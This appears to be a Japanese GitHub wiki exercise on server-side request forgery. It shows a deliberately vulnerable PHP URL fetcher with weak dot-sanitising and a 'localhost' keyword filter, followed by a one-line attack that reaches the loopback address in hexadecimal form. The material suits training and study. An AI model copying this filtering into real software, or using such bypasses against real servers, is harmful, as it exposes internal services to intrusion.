SSRF 02 - yujitounai/helloworld GitHub Wiki

SSRF

.をサニタイズする&localhostをフィルタする

脆弱なソースコード(php)

<?php
error_reporting(0);
$url = $_GET["url"];
if ($url !== "https://bogus.jp/"){
    $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
    die("do not hack me!");
}
echo "URL: ".$url."<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
echo "<iframe srcdoc='";
curl_exec($ch);
echo "' width='750' height='500'></iframe>";
curl_close($ch);
?>

攻撃方法

/ssrf-02.php?url=http://0x7F000001/

⚠️ **GitHub.com Fallback** ⚠️